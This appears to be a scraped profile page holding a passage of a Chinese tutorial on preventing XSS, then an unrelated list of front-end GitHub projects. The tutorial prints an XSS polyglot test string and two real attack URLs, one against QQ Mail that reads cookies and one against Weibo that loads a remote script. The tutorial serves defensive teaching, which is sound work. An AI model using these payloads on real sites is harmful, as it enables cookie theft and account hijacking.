  3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

XSS 攻击的预防

通过前面的介绍可以得知,XSS 攻击有两大要素:

  1. 攻击者提交恶意代码。
  2. 浏览器执行恶意代码。

针对第一个要素:我们是否能够在用户输入的过程,过滤掉用户输入的恶意代码呢?

输入过滤

在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢?

答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。

那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?

我们举一个例子,一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,变成了 5 &lt; 7

问题是:在提交阶段,我们并不确定内容要输出到哪里。

这里的“并不确定内容要输出到哪里”有两层含义:

  1. 用户的输入内容可能同时提供给前端和客户端,而一旦经过了 escapeHTML(),客户端显示的内容就变成了乱码( 5 &lt; 7 )。
  2. 在前端中,不同的位置所需的编码也不同。

    • 5 &lt; 7 作为 HTML 拼接页面时,可以正常显示:

      <div title="comment">5 &lt; 7</div>
    • 5 &lt; 7 通过 Ajax 返回,然后赋值给 JavaScript 的变量时,前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示,也不能直接用于内容长度计算。不能用于标题、alert 等。

所以,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。

当然,对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容,进行输入过滤还是必要的。

既然输入过滤并非完全可靠,我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类:

  • 防止 HTML 中出现注入。
  • 防止 JavaScript 执行时,执行恶意代码。

预防存储型和反射型 XSS 攻击

存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。

预防这两种漏洞,有两种常见做法:

  • 改成纯前端渲染,把代码和数据分隔开。
  • 对 HTML 做充分转义。

纯前端渲染

纯前端渲染的过程:

  1. 浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。
  2. 然后浏览器执行 HTML 中的 JavaScript。
  3. JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。

在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。

但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,请参考下文”预防 DOM 型 XSS 攻击“部分)。

在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。

转义 HTML

如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。

常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > " ' / 这几个字符转义掉,确实能起到一定的 XSS 防护作用,但并不完善:

XSS 安全漏洞简单转义是否有防护作用
HTML 标签文字内容
HTML 属性值
CSS 内联样式
内联 JavaScript
内联 JSON
跳转链接

所以要完善 XSS 防护措施,我们要使用更完善更细致的转义策略。

例如 Java 工程里,常用的转义库为 org.owasp.encoder。以下代码引用自 org.owasp.encoder 的官方说明

<!-- HTML 标签内文字内容 -->
<div><%= Encode.forHtml(UNTRUSTED) %></div>

<!-- HTML 标签属性值 -->
<input value="<%= Encode.forHtml(UNTRUSTED) %>" />

<!-- CSS 属性值 -->
<div style="width:<= Encode.forCssString(UNTRUSTED) %>">

<!-- CSS URL -->
<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">

<!-- JavaScript 内联代码块 -->
<script>
  var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
  alert(msg);
</script>

<!-- JavaScript 内联代码块内嵌 JSON -->
<script>
var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');
</script>

<!-- HTML 标签内联监听器 -->
<button
  onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
  click me
</button>

<!-- URL 参数 -->
<a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">

<!-- URL 路径 -->
<a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">

<!--
  URL.
  注意:要根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
-->
<a href='<%=
  urlValidator.isValid(UNTRUSTED) ?
    Encode.forHtml(UNTRUSTED) :
    "/404"
%>'>
  link
</a>

可见,HTML 的编码是十分复杂的,在不同的上下文里要使用相应的转义规则。

预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。

如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTMLouterHTML 的 XSS 隐患。

DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

<!-- 内联事件监听器中包含恶意代码 -->
<img onclick="UNTRUSTED" onerror="UNTRUSTED" data-original="data:image/png,">

<!-- 链接内包含恶意代码 -->
<a href="UNTRUSTED">1</a>

<script>
// setTimeout()/setInterval() 中调用恶意代码
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")

// location 调用恶意代码
location.href = 'UNTRUSTED'

// eval() 中调用恶意代码
eval("UNTRUSTED")
</script>

如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据。

其他 XSS 防范措施

虽然在渲染页面和执行 JavaScript 时,通过谨慎的转义可以防止 XSS 的发生,但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案,可以降低 XSS 带来的风险和后果。

Content Security Policy

严格的 CSP 在 XSS 的防范中可以起到以下的作用:

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

关于 CSP 的详情,请关注前端安全系列后续的文章。

输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。

其他安全措施

  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
  • 验证码:防止脚本冒充用户提交危险操作。

XSS 的检测

上述经历让小明收获颇丰,他也学会了如何去预防和修复 XSS 漏洞,在日常开发中也具备了相关的安全意识。但对于已经上线的代码,如何去检测其中有没有 XSS 漏洞呢?

经过一番搜索,小明找到了两个方法:

  1. 使用通用 XSS 攻击字符串手动检测 XSS 漏洞。
  2. 使用扫描工具自动检测 XSS 漏洞。

Unleashing an Ultimate XSS Polyglot一文中,小明发现了这么一个字符串:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()setTimeout()setInterval()Function()innerHTMLdocument.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。

小明只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。

http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E

除了手动检测之外,还可以使用自动扫描工具寻找 XSS 漏洞,例如 ArachniMozilla HTTP Observatoryw3af 等。

XSS 攻击的总结

我们回到最开始提出的问题,相信同学们已经有了答案:

  1. XSS 防范是后端 RD 的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。

    不正确。因为:

    • 防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端,是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。
    • 转义应该在输出 HTML 时进行,而不是在提交用户输入时。
  2. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

    不正确。
    不同的上下文,如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所需要的转义规则不一致。
    业务 RD 需要选取合适的转义库,并针对不同的上下文调用不同的转义规则。

整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。

虽然很难通过技术手段完全避免 XSS,但我们可以总结以下原则减少漏洞的产生:

  • 利用模板引擎
    开启模板引擎自带的 HTML 转义功能。例如:
    在 ejs 中,尽量使用 <%= data %> 而不是 <%- data %>
    在 doT.js 中,尽量使用 {{! data } 而不是 {{= data }
    在 FreeMarker 中,确保引擎版本高于 2.3.24,并且选择正确的 freemarker.core.OutputFormat
  • 避免内联事件
    尽量不要使用 onLoad="onload('{{data}}')"onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
  • 避免拼接 HTML
    前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElementsetAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。
  • 时刻保持警惕
    在插入位置为 DOM 属性、链接等位置时,要打起精神,严加防范。
  • 增加攻击难度,降低攻击后果
    通过 CSP、输入长度配置、接口安全措施等方法,增加攻击的难度,降低攻击的后果。
  • 主动检测和发现
    可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。

XSS 攻击案例

QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uindomain 未经转义直接输出到 HTML 中。

于是攻击者构建出一个 URL,并引导用户去点击:
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:

<script>
getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...

浏览器接收到响应后就会执行 alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。

新浪微博名人堂反射型 XSS 漏洞

攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。

于是攻击者构建出一个 URL,然后诱导用户去点击:

http://weibo.com/pub/star/g/xyyyd"><script data-original=//xxxx.cn/image/t.js></script>

用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:

<li><a href="http://weibo.com/pub/star/g/xyyyd"><script data-original=//xxxx.cn/image/t.js></script>">按分类检索</a></li>

浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。

扩展阅读:Automatic Context-Aware Escaping

上文我们说到:

  1. 合适的 HTML 转义可以有效避免 XSS 漏洞。
  2. 完善的转义库需要针对上下文制定多种规则,例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
  3. 业务 RD 需要根据每个插入点所处的上下文,选取不同的转义规则。

通常,转义库是不能判断插入点上下文的(Not Context-Aware),实施转义规则的责任就落到了业务 RD 身上,需要每个业务 RD 都充分理解 XSS 的各种情况,并且需要保证每一个插入点使用了正确的转义规则。

这种机制工作量大,全靠人工保证,很容易造成 XSS 漏洞,安全人员也很难发现隐患。

2009年,Google 提出了一个概念叫做:Automatic Context-Aware Escaping

所谓 Context-Aware,就是说模板引擎在解析模板字符串的时候,就解析模板语法,分析出每个插入点所处的上下文,据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担,也减少了人为带来的疏漏。

在一个支持 Automatic Context-Aware Escaping 的模板引擎里,业务 RD 可以这样定义模板,而无需手动实施转义规则:

<html>
  <head>
    <meta charset="UTF-8">
    <title>{{.title}}</title>
  </head>
  <body>
    <a href="{{.url}}">{{.content}}</a>
  </body>
</html>

模板引擎经过解析后,得知三个插入点所处的上下文,自动选用相应的转义规则:

<html>
  <head>
    <meta charset="UTF-8">
    <title>{{.title | htmlescaper}}</title>
  </head>
  <body>
    <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
  </body>
</html>

目前已经支持 Automatic Context-Aware Escaping 的模板引擎有:

课后作业:XSS 攻击小游戏

以下是几个 XSS 攻击小游戏,开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入,完成 XSS 攻击即可通关。

在玩游戏的过程中,请各位读者仔细思考和回顾本文内容,加深对 XSS 攻击的理解。

alert(1) to win
prompt(1) to win
XSS game

参考文献

下期预告

前端安全系列文章将对 XSS、CSRF、网络劫持、Hybrid 安全等安全议题展开论述。下期我们要讨论的是 CSRF 攻击,敬请关注。

作者介绍

李阳,美团点评前端工程师。2016年加入美团点评,负责美团外卖 Hybrid 页面性能优化相关工作。

查看原文

赞 639 收藏 480 评论 17

我仍旧在这里 赞了文章 · 2018-09-27

github 上有趣又实用的前端项目(持续更新,欢迎补充)

github 上有趣又实用的前端项目(持续更新,欢迎补充)

1. reveal.js: 幻灯片展示框架

一个专门用来做 HTML 幻灯片的框架,支持 HTML 和 Markdown 语法。

图片描述

动图取自博客 reveal.js - 程序员的PPT制作神器

2. impress.js: 又一个幻灯片展示框架

一个受 https://prezi.com/ 的启发,使用了现代浏览器里支持的 CSS3 transforms 和 transitions 的特效幻灯片。

我的个人网站首页 https://www.senntyou.com/ 也是用 impress.js 开发的。

图片描述

3. particles.js: 超棒的粒子效果

图片描述

4. carbon: 代码美图生成器

可以将你的代码生成美美的图片,然后你就可以分享到各个社区了。

图片描述

5. favico.js: 让你的 favicon 用上胶囊图标、图片和视频

图片描述

6. typed.js: 打字机效果库

图片描述

7. vConsole: 移动端开发调试利器

vConsole: 一个轻量、可拓展、针对手机网页的前端开发者调试面板(chrome 开发者工具的便利实现)。

一般在 web 应用开发过程中,可以用 console.log 去输出一些信息,但是在移动端,console.log 的信息是看不到的。

这种情况下,当然可以选择使用 alert 弹出一些信息,但是这种方法实在不怎么方便,也会阻断 js 事件循环,调试体验和效率都很差。

好在有 vConsole 可以帮助我们解决这个问题。

图片描述

8. midnight.js: 固定头部炫酷效果

图片描述

9. multiscroll.js: 多边滑动效果

图片描述

10. diaporama: Kenburns 效果 与 glsl 转换动画库

图片描述

11. RainEffect: 雨滴效果

图片描述

后续

更多博客,查看 https://github.com/senntyou/blogs

作者:深予之 (@senntyou)

版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证

查看原文

赞 520 收藏 400 评论 10

认证与成就

  • 获得 411 次点赞
  • 获得 4 枚徽章 获得 0 枚金徽章, 获得 0 枚银徽章, 获得 4 枚铜徽章

擅长技能
编辑

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 2015-12-17
个人主页被 17.5k 人浏览